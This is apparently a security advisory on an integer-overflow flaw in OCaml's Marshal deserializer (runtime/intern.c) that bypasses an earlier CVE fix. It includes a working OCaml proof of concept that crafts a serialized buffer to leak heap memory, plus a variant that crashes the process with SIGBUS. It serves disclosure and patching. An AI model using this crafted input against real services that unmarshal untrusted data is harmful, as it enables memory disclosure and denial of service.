An integer overflow in the length-validation logic of OCaml's Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing heap out-of-bounds reads from Marshal.from_bytes / Marshal.from_string (and the C API caml_input_value_from_block).
runtime/intern.c validates declared data length against the input buffer with unsigned 64-bit addition that can wrap:
/* caml_input_val_from_bytes, intern.c:1038 */
if (ofs + h.header_len + h.data_len > caml_string_length(str))
caml_failwith("input_val_from_string: bad length");
h.data_len is fully attacker-controlled (8-byte field read straight from the stream for Intext_magic_number_big). With data_len >= 2^64 - (ofs + h.header_len), the sum wraps to a small value and the check passes.
The CVE-2026-28364 fix introduced:
/* intern.c:1043 (added by the fix) */
s->intern_src_end = s->intern_src + h.data_len; /* wraps to a pointer BEFORE the buffer */
intern_src_end wraps to a location before intern_src, so every intern_check_read() bound added by the fix (len > end - src with a negative diff promoted to a huge uintnat) evaluates false for any realistic length. The parser (intern_rec) then honors attacker-controlled read lengths (readblock up to Max_wosize bytes) against memory far beyond the input buffer.
The OCaml-side wrapper validation in stdlib/marshal.ml is bypassed by the same wrap, via caml_marshal_data_size (intern.c:1116-1150):
return Val_long((header_len - 16) + data_len); /* wraps to 0 / negative */
Marshal.from_bytes (marshal.ml:55-62) calls data_size_unsafe first, gets a wrapped len (0 or negative), and its re-check ofs > Bytes.length buff - (header_size + len) passes.
The same unchecked wrap exists in caml_input_value_from_buffer (intern.c:1080), used by the public C API caml_input_value_from_block and caml_input_value_from_malloc - these have no OCaml-side validation at all.
Intext_magic_number_big + 4 padding bytes + data_len = 2^64 - 16 + num_objects = 0 + whsize = 0.0x3F = 31 bytes, or CODE_STRING32 with an arbitrary length).Marshal.from_bytes buf 0 (or Marshal.from_string).data_size_unsafe returns 0; OCaml-side check passes.0 + 32 + (2^64-16) = 16 > len passes (wrapped).intern_src_end wraps to buf + 16; all intern_check_read pass.intern_rec executes readblock(s, dest, len) with attacker-chosen len, memcpy-ing heap memory past the buffer end into the returned string (info leak), or a huge len (SIGBUS/SIGSEGV, DoS).Tested on: macOS arm64, OCaml 5.5.0 (Homebrew), ocamlopt.
let () =
let buf = Bytes.create 40 in
Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95);
Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf);
for i = 4 to 7 do Bytes.set buf i '\000' done;
for i = 8 to 15 do Bytes.set buf i '\xff' done;
Bytes.set buf 15 (Char.chr 0xf0); (* data_len = 2^64 - 16 *)
for i = 16 to 31 do Bytes.set buf i '\000' done; (* num_objects = whsize = 0 *)
Bytes.set buf 32 (Char.chr 0x3f); (* small string, len 31 *)
for i = 33 to 39 do Bytes.set buf i 'A' done; (* only 7 real bytes follow *)
let s : string = Marshal.from_bytes buf 0 in
Printf.printf "len=%d content=%S\n" (String.length s) s
Output (24 bytes past the 40-byte buffer leaked into the returned string):
len=31 content="AAAAAAA\000\000\000\000\000\000\007\000\b\000\000\000\000\000\000\152\018\001\003\001\000\000\000"
Same header; stream byte 32 = 0x0A (CODE_STRING32), big-endian 0x40000000 (1 GB) length, 37-byte buffer:
$ ./crash; echo "exit=$?"
exit=138 (128 + SIGBUS)
{
"cwe": [
"CWE-190",
"CWE-125"
],
"human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-18.md",
"osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-18.json"
}